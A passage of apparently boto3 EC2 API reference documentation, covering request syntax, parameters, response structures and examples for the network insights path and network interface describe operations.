first port in the range. + + * **To** _(integer) --_ + + The last port in the range. + + * **Protocol** _(string) --_ + + The protocol. + + * **SourceAddresses** _(list) --_ + + The source addresses. + + * _(string) --_ + * **SourcePortRanges** _(list) --_ + + The source port ranges. + + * _(dict) --_ + + Describes a range of ports. + + * **From** _(integer) --_ + + The first port in the range. + + * **To** _(integer) --_ + + The last port in the range. + + * **RouteTableRoute** _(dict) --_ + + The route table route. + + * **DestinationCidr** _(string) --_ + + The destination IPv4 address, in CIDR notation. + + * **DestinationPrefixListId** _(string) --_ + + The prefix of the AWS service. + + * **EgressOnlyInternetGatewayId** _(string) --_ + + The ID of an egress-only internet gateway. + + * **GatewayId** _(string) --_ + + The ID of the gateway, such as an internet gateway or virtual private gateway. + + * **InstanceId** _(string) --_ + + The ID of the instance, such as a NAT instance. + + * **NatGatewayId** _(string) --_ + + The ID of a NAT gateway. + + * **NetworkInterfaceId** _(string) --_ + + The ID of a network interface. + + * **Origin** _(string) --_ + + Describes how the route was created. The following are possible values: + + * CreateRouteTable - The route was automatically created when the route table was created. + * CreateRoute - The route was manually added to the route table. + * EnableVgwRoutePropagation - The route was propagated by route propagation. + * **TransitGatewayId** _(string) --_ + + The ID of a transit gateway. + + * **VpcPeeringConnectionId** _(string) --_ + + The ID of a VPC peering connection. + + * **SecurityGroupRule** _(dict) --_ + + The security group rule. + + * **Cidr** _(string) --_ + + The IPv4 address range, in CIDR notation. + + * **Direction** _(string) --_ + + The direction. The following are possible values: + + * egress + * ingress + * **SecurityGroupId** _(string) --_ + + The security group ID. + + * **PortRange** _(dict) --_ + + The port range. + + * **From** _(integer) --_ + + The first port in the range. + + * **To** _(integer) --_ + + The last port in the range. + + * **PrefixListId** _(string) --_ + + The prefix list ID. + + * **Protocol** _(string) --_ + + The protocol name. + + * **SourceVpc** _(dict) --_ + + The source VPC. + + * **Id** _(string) --_ + + The ID of the component. + + * **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the component. + + * **Subnet** _(dict) --_ + + The subnet. + + * **Id** _(string) --_ + + The ID of the component. + + * **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the component. + + * **Vpc** _(dict) --_ + + The component VPC. + + * **Id** _(string) --_ + + The ID of the component. + + * **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the component. + + * **Explanations** _(list) --_ + + The explanations. For more information, see [Reachability Analyzer explanation codes](https://docs.aws.amazon.com/vpc/latest/reachability/explanation-codes.html) . + + * _(dict) --_ + + Describes an explanation code for an unreachable path. For more information, see [Reachability Analyzer explanation codes](https://docs.aws.amazon.com/vpc/latest/reachability/explanation-codes.html) . + + * **Acl** _(dict) --_ + + The network ACL. + + * **Id** _(string) --_ + + The ID of the component. + + * **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the component. + + * **AclRule** _(dict) --_ + + The network ACL rule. + + * **Cidr** _(string) --_ + + The IPv4 address range, in CIDR notation. + + * **Egress** _(boolean) --_ + + Indicates whether the rule is an outbound rule. + + * **PortRange** _(dict) --_ + + The range of ports. + + * **From** _(integer) --_ + + The first port in the range. + + * **To** _(integer) --_ + + The last port in the range. + + * **Protocol** _(string) --_ + + The protocol. + + * **RuleAction** _(string) --_ + + Indicates whether to allow or deny traffic that matches the rule. + + * **RuleNumber** _(integer) --_ + + The rule number. + + * **Address** _(string) --_ + + The IPv4 address, in CIDR notation. + + * **Addresses** _(list) --_ + + The IPv4 addresses, in CIDR notation. + + * _(string) --_ + * **AttachedTo** _(dict) --_ + + The resource to which the component is attached. + + * **Id** _(string) --_ + + The ID of the component. + + * **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the component. + + * **AvailabilityZones** _(list) --_ + + The Availability Zones. + + * _(string) --_ + * **Cidrs** _(list) --_ + + The CIDR ranges. + + * _(string) --_ + * **Component** _(dict) --_ + + The component. + + * **Id** _(string) --_ + + The ID of the component. + + * **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the component. + + * **CustomerGateway** _(dict) --_ + + The customer gateway. + + * **Id** _(string) --_ + + The ID of the component. + + * **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the component. + + * **Destination** _(dict) --_ + + The destination. + + * **Id** _(string) --_ + + The ID of the component. + + * **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the component. + + * **DestinationVpc** _(dict) --_ + + The destination VPC. + + * **Id** _(string) --_ + + The ID of the component. + + * **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the component. + + * **Direction** _(string) --_ + + The direction. The following are possible values: + + * egress + * ingress + * **ExplanationCode** _(string) --_ + + The explanation code. + + * **IngressRouteTable** _(dict) --_ + + The route table. + + * **Id** _(string) --_ + + The ID of the component. + + * **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the component. + + * **InternetGateway** _(dict) --_ + + The internet gateway. + + * **Id** _(string) --_ + + The ID of the component. + + * **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the component. + + * **LoadBalancerArn** _(string) --_ + + The Amazon Resource Name (ARN) of the load balancer. + + * **ClassicLoadBalancerListener** _(dict) --_ + + The listener for a Classic Load Balancer. + + * **LoadBalancerPort** _(integer) --_ + + The port on which the load balancer is listening. + + * **InstancePort** _(integer) --_ + + [Classic Load Balancers] The back-end port for the listener. + + * **LoadBalancerListenerPort** _(integer) --_ + + The listener port of the load balancer. + + * **LoadBalancerTarget** _(dict) --_ + + The target. + + * **Address** _(string) --_ + + The IP address. + + * **AvailabilityZone** _(string) --_ + + The Availability Zone. + + * **Instance** _(dict) --_ + + Information about the instance. + + * **Id** _(string) --_ + + The ID of the component. + + * **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the component. + + * **Port** _(integer) --_ + + The port on which the target is listening. + + * **LoadBalancerTargetGroup** _(dict) --_ + + The target group. + + * **Id** _(string) --_ + + The ID of the component. + + * **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the component. + + * **LoadBalancerTargetGroups** _(list) --_ + + The target groups. + + * _(dict) --_ + + Describes a path component. + + * **Id** _(string) --_ + + The ID of the component. + + * **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the component. + + * **LoadBalancerTargetPort** _(integer) --_ + + The target port. + + * **ElasticLoadBalancerListener** _(dict) --_ + + The load balancer listener. + + * **Id** _(string) --_ + + The ID of the component. + + * **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the component. + + * **MissingComponent** _(string) --_ + + The missing component. + + * **NatGateway** _(dict) --_ + + The NAT gateway. + + * **Id** _(string) --_ + + The ID of the component. + + * **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the component. + + * **NetworkInterface** _(dict) --_ + + The network interface. + + * **Id** _(string) --_ + + The ID of the component. + + * **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the component. + + * **PacketField** _(string) --_ + + The packet field. + + * **VpcPeeringConnection** _(dict) --_ + + The VPC peering connection. + + * **Id** _(string) --_ + + The ID of the component. + + * **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the component. + + * **Port** _(integer) --_ + + The port. + + * **PortRanges** _(list) --_ + + The port ranges. + + * _(dict) --_ + + Describes a range of ports. + + * **From** _(integer) --_ + + The first port in the range. + + * **To** _(integer) --_ + + The last port in the range. + + * **PrefixList** _(dict) --_ + + The prefix list. + + * **Id** _(string) --_ + + The ID of the component. + + * **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the component. + + * **Protocols** _(list) --_ + + The protocols. + + * _(string) --_ + * **RouteTableRoute** _(dict) --_ + + The route table route. + + * **DestinationCidr** _(string) --_ + + The destination IPv4 address, in CIDR notation. + + * **DestinationPrefixListId** _(string) --_ + + The prefix of the AWS service. + + * **EgressOnlyInternetGatewayId** _(string) --_ + + The ID of an egress-only internet gateway. + + * **GatewayId** _(string) --_ + + The ID of the gateway, such as an internet gateway or virtual private gateway. + + * **InstanceId** _(string) --_ + + The ID of the instance, such as a NAT instance. + + * **NatGatewayId** _(string) --_ + + The ID of a NAT gateway. + + * **NetworkInterfaceId** _(string) --_ + + The ID of a network interface. + + * **Origin** _(string) --_ + + Describes how the route was created. The following are possible values: + + * CreateRouteTable - The route was automatically created when the route table was created. + * CreateRoute - The route was manually added to the route table. + * EnableVgwRoutePropagation - The route was propagated by route propagation. + * **TransitGatewayId** _(string) --_ + + The ID of a transit gateway. + + * **VpcPeeringConnectionId** _(string) --_ + + The ID of a VPC peering connection. + + * **RouteTable** _(dict) --_ + + The route table. + + * **Id** _(string) --_ + + The ID of the component. + + * **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the component. + + * **SecurityGroup** _(dict) --_ + + The security group. + + * **Id** _(string) --_ + + The ID of the component. + + * **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the component. + + * **SecurityGroupRule** _(dict) --_ + + The security group rule. + + * **Cidr** _(string) --_ + + The IPv4 address range, in CIDR notation. + + * **Direction** _(string) --_ + + The direction. The following are possible values: + + * egress + * ingress + * **SecurityGroupId** _(string) --_ + + The security group ID. + + * **PortRange** _(dict) --_ + + The port range. + + * **From** _(integer) --_ + + The first port in the range. + + * **To** _(integer) --_ + + The last port in the range. + + * **PrefixListId** _(string) --_ + + The prefix list ID. + + * **Protocol** _(string) --_ + + The protocol name. + + * **SecurityGroups** _(list) --_ + + The security groups. + + * _(dict) --_ + + Describes a path component. + + * **Id** _(string) --_ + + The ID of the component. + + * **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the component. + + * **SourceVpc** _(dict) --_ + + The source VPC. + + * **Id** _(string) --_ + + The ID of the component. + + * **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the component. + + * **State** _(string) --_ + + The state. + + * **Subnet** _(dict) --_ + + The subnet. + + * **Id** _(string) --_ + + The ID of the component. + + * **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the component. + + * **SubnetRouteTable** _(dict) --_ + + The route table for the subnet. + + * **Id** _(string) --_ + + The ID of the component. + + * **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the component. + + * **Vpc** _(dict) --_ + + The component VPC. + + * **Id** _(string) --_ + + The ID of the component. + + * **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the component. + + * **VpcEndpoint** _(dict) --_ + + The VPC endpoint. + + * **Id** _(string) --_ + + The ID of the component. + + * **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the component. + + * **VpnConnection** _(dict) --_ + + The VPN connection. + + * **Id** _(string) --_ + + The ID of the component. + + * **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the component. + + * **VpnGateway** _(dict) --_ + + The VPN gateway. + + * **Id** _(string) --_ + + The ID of the component. + + * **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the component. + + * **AlternatePathHints** _(list) --_ + + Potential intermediate components. + + * _(dict) --_ + + Describes an potential intermediate component of a feasible path. + + * **ComponentId** _(string) --_ + + The ID of the component. + + * **ComponentArn** _(string) --_ + + The Amazon Resource Name (ARN) of the component. + + * **Tags** _(list) --_ + + The tags. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + * **NextToken** _(string) --_ + + The token to use to retrieve the next page of results. This value is null when there are no more results to return. + + +describe_network_insights_paths(kwargs_) + +Describes one or more of your paths. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeNetworkInsightsPaths) + +**Request Syntax** + +response = client.describe_network_insights_paths( + NetworkInsightsPathIds=[ + 'string', + ], + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + MaxResults=123, + DryRun=True|False, + NextToken='string' +) + +Parameters + +* **NetworkInsightsPathIds** (_list_) -- + + The IDs of the paths. + + * _(string) --_ +* **Filters** (_list_) -- + + The filters. The following are possible values: + + * Destination - The ID of the resource. + * DestinationPort - The destination port. + * Name - The path name. + * Protocol - The protocol. + * Source - The ID of the resource. + + * _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + * DescribeAvailabilityZones + * DescribeImages + * DescribeInstances + * DescribeKeyPairs + * DescribeSecurityGroups + * DescribeSnapshots + * DescribeSubnets + * DescribeTags + * DescribeVolumes + * DescribeVpcs + + * **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + * **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + * _(string) --_ +* **MaxResults** (_integer_) -- The maximum number of results to return with a single call. To retrieve the remaining results, make another call with the returned nextToken value. +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **NextToken** (_string_) -- The token for the next page of results. + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'NetworkInsightsPaths': [ + { + 'NetworkInsightsPathId': 'string', + 'NetworkInsightsPathArn': 'string', + 'CreatedDate': datetime(2015, 1, 1), + 'Source': 'string', + 'Destination': 'string', + 'SourceIp': 'string', + 'DestinationIp': 'string', + 'Protocol': 'tcp'|'udp', + 'DestinationPort': 123, + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + 'NextToken': 'string' +} + +**Response Structure** + +* _(dict) --_ + + * **NetworkInsightsPaths** _(list) --_ + + Information about the paths. + + * _(dict) --_ + + Describes a path. + + * **NetworkInsightsPathId** _(string) --_ + + The ID of the path. + + * **NetworkInsightsPathArn** _(string) --_ + + The Amazon Resource Name (ARN) of the path. + + * **CreatedDate** _(datetime) --_ + + The time stamp when the path was created. + + * **Source** _(string) --_ + + The AWS resource that is the source of the path. + + * **Destination** _(string) --_ + + The AWS resource that is the destination of the path. + + * **SourceIp** _(string) --_ + + The IP address of the AWS resource that is the source of the path. + + * **DestinationIp** _(string) --_ + + The IP address of the AWS resource that is the destination of the path. + + * **Protocol** _(string) --_ + + The protocol. + + * **DestinationPort** _(integer) --_ + + The destination port. + + * **Tags** _(list) --_ + + The tags associated with the path. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + * **NextToken** _(string) --_ + + The token to use to retrieve the next page of results. This value is null when there are no more results to return. + + +describe_network_interface_attribute(kwargs_) + +Describes a network interface attribute. You can specify only one attribute at a time. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeNetworkInterfaceAttribute) + +**Request Syntax** + +response = client.describe_network_interface_attribute( + Attribute='description'|'groupSet'|'sourceDestCheck'|'attachment', + DryRun=True|False, + NetworkInterfaceId='string' +) + +Parameters + +* **Attribute** (_string_) -- The attribute of the network interface. This parameter is required. +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **NetworkInterfaceId** (_string_) -- + + **[REQUIRED]** + + The ID of the network interface. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Attachment': { + 'AttachTime': datetime(2015, 1, 1), + 'AttachmentId': 'string', + 'DeleteOnTermination': True|False, + 'DeviceIndex': 123, + 'NetworkCardIndex': 123, + 'InstanceId': 'string', + 'InstanceOwnerId': 'string', + 'Status': 'attaching'|'attached'|'detaching'|'detached' + }, + 'Description': { + 'Value': 'string' + }, + 'Groups': [ + { + 'GroupName': 'string', + 'GroupId': 'string' + }, + ], + 'NetworkInterfaceId': 'string', + 'SourceDestCheck': { + 'Value': True|False + } +} + +**Response Structure** + +* _(dict) --_ + + Contains the output of DescribeNetworkInterfaceAttribute. + + * **Attachment** _(dict) --_ + + The attachment (if any) of the network interface. + + * **AttachTime** _(datetime) --_ + + The timestamp indicating when the attachment initiated. + + * **AttachmentId** _(string) --_ + + The ID of the network interface attachment. + + * **DeleteOnTermination** _(boolean) --_ + + Indicates whether the network interface is deleted when the instance is terminated. + + * **DeviceIndex** _(integer) --_ + + The device index of the network interface attachment on the instance. + + * **NetworkCardIndex** _(integer) --_ + + The index of the network card. + + * **InstanceId** _(string) --_ + + The ID of the instance. + + * **InstanceOwnerId** _(string) --_ + + The AWS account ID of the owner of the instance. + + * **Status** _(string) --_ + + The attachment state. + + * **Description** _(dict) --_ + + The description of the network interface. + + * **Value** _(string) --_ + + The attribute value. The value is case-sensitive. + + * **Groups** _(list) --_ + + The security groups associated with the network interface. + + * _(dict) --_ + + Describes a security group. + + * **GroupName** _(string) --_ + + The name of the security group. + + * **GroupId** _(string) --_ + + The ID of the security group. + + * **NetworkInterfaceId** _(string) --_ + + The ID of the network interface. + + * **SourceDestCheck** _(dict) --_ + + Indicates whether source/destination checking is enabled. + + * **Value** _(boolean) --_ + + The attribute value. The valid values are true or false . + + +**Examples** + +This example describes the attachment attribute of the specified network interface. + +response = client.describe_network_interface_attribute( + Attribute='attachment', + NetworkInterfaceId='eni-686ea200', +) + +print(response) + +Expected Output: + +{ + 'Attachment': { + 'AttachTime': datetime(2015, 5, 21, 20, 2, 20, 3, 141, 0), + 'AttachmentId': 'eni-attach-43348162', + 'DeleteOnTermination': True, + 'DeviceIndex': 0, + 'InstanceId': 'i-1234567890abcdef0', + 'InstanceOwnerId': '123456789012', + 'Status': 'attached', + }, + 'NetworkInterfaceId': 'eni-686ea200', + 'ResponseMetadata': { + '...': '...', + }, +} + +This example describes the description attribute of the specified network interface. + +response = client.describe_network_interface_attribute( + Attribute='description', + NetworkInterfaceId='eni-686ea200', +) + +print(response) + +Expected Output: + +{ + 'Description': { + 'Value': 'My description', + }, + 'NetworkInterfaceId': 'eni-686ea200', + 'ResponseMetadata': { + '...': '...', + }, +} + +This example describes the groupSet attribute of the specified network interface. + +response = client.describe_network_interface_attribute( + Attribute='groupSet', + NetworkInterfaceId='eni-686ea200', +) + +print(response) + +Expected Output: + +{ + 'Groups': [ + { + 'GroupId': 'sg-903004f8', + 'GroupName': 'my-security-group', + }, + ], + 'NetworkInterfaceId': 'eni-686ea200', + 'ResponseMetadata': { + '...': '...', + }, +} + +This example describes the sourceDestCheck attribute of the specified network interface. + +response = client.describe_network_interface_attribute( + Attribute='sourceDestCheck', + NetworkInterfaceId='eni-686ea200', +) + +print(response) + +Expected Output: + +{ + 'NetworkInterfaceId': 'eni-686ea200', + 'SourceDestCheck': { + 'Value': True, + }, + 'ResponseMetadata': { + '...': '...', + }, +} + +describe_network_interface_permissions(kwargs_) + +Describes the permissions for your network interfaces. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeNetworkInterfacePermissions) + +**Request Syntax** + +response = client.describe_network_interface_permissions( + NetworkInterfacePermissionIds=[ + 'string', + ], + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + NextToken='string', + MaxResults=123 +) + +Parameters + +* **NetworkInterfacePermissionIds** (_list_) -- + + One or more network interface permission IDs. + + * _(string) --_ +* **Filters** (_list_) -- + + One or more filters. + + * network-interface-permission.network-interface-permission-id - The ID of the permission. + * network-interface-permission.network-interface-id - The ID of the network interface. + * network-interface-permission.aws-account-id - The AWS account ID. + * network-interface-permission.aws-service - The AWS service. + * network-interface-permission.permission - The type of permission (INSTANCE-ATTACH | EIP-ASSOCIATE ). + + * _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + * DescribeAvailabilityZones + * DescribeImages + * DescribeInstances + * DescribeKeyPairs + * DescribeSecurityGroups + * DescribeSnapshots + * DescribeSubnets + * DescribeTags + * DescribeVolumes + * DescribeVpcs + + * **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + * **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + * _(string) --_ +* **NextToken** (_string_) -- The token to request the next page of results. +* **MaxResults** (_integer_) -- The maximum number of results to return in a single call. To retrieve the remaining results, make another call with the returned NextToken value. If this parameter is not specified, up to 50 results are returned by default. + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'NetworkInterfacePermissions': [ + { + 'NetworkInterfacePermissionId': 'string', + 'NetworkInterfaceId': 'string', + 'AwsAccountId': 'string', + 'AwsService': 'string', + 'Permission': 'INSTANCE-ATTACH'|'EIP-ASSOCIATE', + 'PermissionState': { + 'State': 'pending'|'granted'|'revoking'|'revoked', + 'StatusMessage': 'string' + } + }, + ], + 'NextToken': 'string' +} + +**Response Structure** + +* _(dict) --_ + + Contains the output for DescribeNetworkInterfacePermissions. + + * **NetworkInterfacePermissions** _(list) --_ + + The network interface permissions. + + * _(dict) --_ + + Describes a permission for a network interface. + + * **NetworkInterfacePermissionId** _(string) --_ + + The ID of the network interface permission. + + * **NetworkInterfaceId** _(string) --_ + + The ID of the network interface. + + * **AwsAccountId** _(string) --_ + + The AWS account ID. + + * **AwsService** _(string) --_ + + The AWS service. + + * **Permission** _(string) --_ + + The type of permission. + + * **PermissionState** _(dict) --_ + + Information about the state of the permission. + + * **State** _(string) --_ + + The state of the permission. + + * **StatusMessage** _(string) --_ + + A status message, if applicable. + + * **NextToken** _(string) --_ + + The token to use to retrieve the next page of results. + + +describe_network_interfaces(kwargs_) + +Describes one or more of your network interfaces. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeNetworkInterfaces) + +**Request Syntax** + +response = client.describe_network_interfaces( + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + DryRun=True|False, + NetworkInterfaceIds=[ + 'string', + ], + NextToken='string', + MaxResults=123 +) + +Parameters + +* **Filters** (_list_) -- + + One or more filters. + + * addresses.private-ip-address - The private IPv4 addresses associated with the network interface. + * addresses.primary - Whether the private IPv4 address is the primary IP address associated with the network interface. + * addresses.association.public-ip - The association ID returned when the network interface was associated with the Elastic IP address (IPv4). + * addresses.association.owner-id - The owner ID of the addresses associated with the network interface. + * association.association-id - The association ID returned when the network interface was associated with an IPv4 address. + * association.allocation-id - The allocation ID returned when you allocated the Elastic IP address (IPv4) for your network interface. + * association.ip-owner-id - The owner of the Elastic IP address (IPv4) associated with the network interface. + * association.public-ip - The address of the Elastic IP address (IPv4) bound to the network interface. + * association.public-dns-name - The public DNS name for the network interface (IPv4). + * attachment.attachment-id - The ID of the interface attachment. + * attachment.attach-time - The time that the network interface was attached to an instance. + * attachment.delete-on-termination - Indicates whether the attachment is deleted when an instance is terminated. + * attachment.device-index - The device index to which the network interface is attached. + * attachment.instance-id - The ID of the instance to which the network interface is attached. + * attachment.instance-owner-id - The owner ID of the instance to which the network interface is attached. + * attachment.status - The status of the attachment (attaching | attached | detaching | detached ). + * availability-zone - The Availability Zone of the network interface. + * description - The description of the network interface. + * group-id - The ID of a security group associated with the network interface. + * group-name - The name of a security group associated with the network interface. + * ipv6-addresses.ipv6-address - An IPv6 address associated with the network interface. + * mac-address - The MAC address of the network interface. + * network-interface-id - The ID of the network interface. + * owner-id - The AWS account ID of the network interface owner. + * private-ip-address - The private IPv4 address or addresses of the network interface. + * private-dns-name - The private DNS name of the network interface (IPv4). + * requester-id - The ID of the entity that launched the instance on your behalf (for example, AWS Management Console, Auto Scaling, and so on). + * requester-managed - Indicates whether the network interface is being managed by an AWS service (for example, AWS Management Console, Auto Scaling, and so on). + * source-dest-check - Indicates whether the network interface performs source/destination checking. A value of true means checking is enabled, and false means checking is disabled. The value must be false for the network interface to perform network address translation (NAT) in your VPC. + * status - The status of the network interface. If the network interface is not attached to an instance, the status is available ; if a network interface is attached to an instance the status is in-use . + * subnet-id - The ID of the subnet for the network interface. + * tag : - The key/value combination of a tag assigned to the resource. Use the tag key in the filter name and the tag value as the filter value. For example, to find all resources that have a tag with the key Owner and the value TeamA , specify tag:Owner for the filter name and TeamA for the filter value. + * tag-key - The key of a tag assigned to the resource. Use this filter to find all resources assigned a tag with a specific key, regardless of the tag value. + * vpc-id - The ID of the VPC for the network interface. + + * _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + * DescribeAvailabilityZones + * DescribeImages + * DescribeInstances + * DescribeKeyPairs + * DescribeSecurityGroups + * DescribeSnapshots + * DescribeSubnets + * DescribeTags + * DescribeVolumes + * DescribeVpcs + + * **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + * **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + * _(string) --_ +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **NetworkInterfaceIds** (_list_) -- + + One or more network interface IDs. + + Default: Describes all your network interfaces. + + * _(string) --_ +* **NextToken** (_string_) -- The token to retrieve the next page of results. +* **MaxResults** (_integer_) -- The maximum number of items to return for this request. The request returns a token that you can specify in a subsequent call to get the next set of results. You cannot specify this parameter and the network interface IDs parameter in the same request. + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'NetworkInterfaces': [ + { + 'Association': { + 'AllocationId': 'string', + 'AssociationId': 'string', + 'IpOwnerId': 'string', + 'PublicDnsName': 'string', + 'PublicIp': 'string', + 'CustomerOwnedIp': 'string', + 'CarrierIp': 'string' + }, + 'Attachment': { + 'AttachTime': datetime(2015, 1, 1), + 'AttachmentId': 'string', + 'DeleteOnTermination': True|False, + 'DeviceIndex': 123, + 'NetworkCardIndex': 123, + 'InstanceId': 'string', + 'InstanceOwnerId': 'string', + 'Status': 'attaching'|'attached'|'detaching'|'detached' + }, + 'AvailabilityZone': 'string', + 'Description': 'string', + 'Groups': [ + { + 'GroupName': 'string', + 'GroupId': 'string' + }, + ], + 'InterfaceType': 'interface'|'natGateway'|'efa', + 'Ipv6Addresses': [ + { + 'Ipv6Address': 'string' + }, + ], + 'MacAddress': 'string', + 'NetworkInterfaceId': 'string', + 'OutpostArn': 'string', + 'OwnerId': 'string', + 'PrivateDnsName': 'string', + 'PrivateIpAddress': 'string', + 'PrivateIpAddresses': [ + { + 'Association': { + 'AllocationId': 'string', + 'AssociationId': 'string', + 'IpOwnerId': 'string', + 'PublicDnsName': 'string', + 'PublicIp': 'string', + 'CustomerOwnedIp': 'string', + 'CarrierIp': 'string' + }, + 'Primary': True|False, + 'PrivateDnsName': 'string', + 'PrivateIpAddress': 'string' + }, + ], + 'RequesterId': 'string', + 'RequesterManaged': True|False, + 'SourceDestCheck': True|False, + 'Status': 'available'|'associated'|'attaching'|'in-use'|'detaching', + 'SubnetId': 'string', + 'TagSet': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ], + 'VpcId': 'string' + }, + ], + 'NextToken': 'string' +} + +**Response Structure** + +* _(dict) --_ + + Contains the output of DescribeNetworkInterfaces. + + * **NetworkInterfaces** _(list) --_ + + Information about one or more network interfaces. + + * _(dict) --_ + + Describes a network interface. + + * **Association** _(dict) --_ + + The association information for an Elastic IP address (IPv4) associated with the network interface. + + * **AllocationId** _(string) --_ + + The allocation ID. + + * **AssociationId** _(string) --_ + + The association ID. + + * **IpOwnerId** _(string) --_ + + The ID of the Elastic IP address owner. + + * **PublicDnsName** _(string) --_ + + The public DNS name. + + * **PublicIp** _(string) --_ + + The address of the Elastic IP address bound to the network interface. + + * **CustomerOwnedIp** _(string) --_ + + The customer-owned IP address associated with the network interface. + + * **CarrierIp** _(string) --_ + + The carrier IP address associated with the network interface. + + This option is only available when the network interface is in a subnet which is associated with a Wavelength Zone. + + * **Attachment** _(dict) --_ + + The network interface attachment. + + * **AttachTime** _(datetime) --_ + + The timestamp indicating when the attachment initiated. + + * **AttachmentId** _(string) --_ + + The ID of the network interface attachment. + + * **DeleteOnTermination** _(boolean) --_ + + Indicates whether the network interface is deleted when the instance is terminated. + + * **DeviceIndex** _(integer) --_ + + The device index of the network interface attachment on the instance. + + * **NetworkCardIndex** _(integer) --_ + + The index of the network card. + + * **InstanceId** _(string) --_ + + The ID of the instance. + + * **InstanceOwnerId** _(string) --_ + + The AWS account ID of the owner of the instance. + + * **Status** _(string) --_ + + The attachment state. + + * **AvailabilityZone** _(string) --_ + + The Availability Zone. + + * **Description** _(string) --_ + + A description. + + * **Groups** _(list) --_ + + Any security groups for the network interface. + + * _(dict) --_ + + Describes a security group. + + * **GroupName** _(string) --_ + + The name of the security group. + + * **GroupId** _(string) --_ + + The ID of the security group. + + * **InterfaceType** _(string) --_ + + The type of network interface. + + * **Ipv6Addresses** _(list) --_ + + The IPv6 addresses associated with the network interface. + + * _(dict) --_ + + Describes an IPv6 address associated with a network interface. + + * **Ipv6Address** _(string) --_ + + The IPv6 address. + + * **MacAddress** _(string) --_ + + The MAC address. + + * **NetworkInterfaceId** _(string) --_ + + The ID of the network interface. + + * **OutpostArn** _(string) --_ + + The Amazon Resource Name (ARN) of the Outpost. + + * **OwnerId** _(string) --_ + + The AWS account ID of the owner of the network interface. + + * **PrivateDnsName** _(string) --_ + + The private DNS name. + + * **PrivateIpAddress** _(string) --_ + + The IPv4 address of the network interface within the subnet. + + * **PrivateIpAddresses** _(list) --_ + + The private IPv4 addresses associated with the network interface. + + * _(dict) --_ + + Describes the private IPv4 address of a network interface. + + * **Association** _(dict) --_ + + The association information for an Elastic IP address (IPv4) associated with the network interface. + + * **AllocationId** _(string) --_ + + 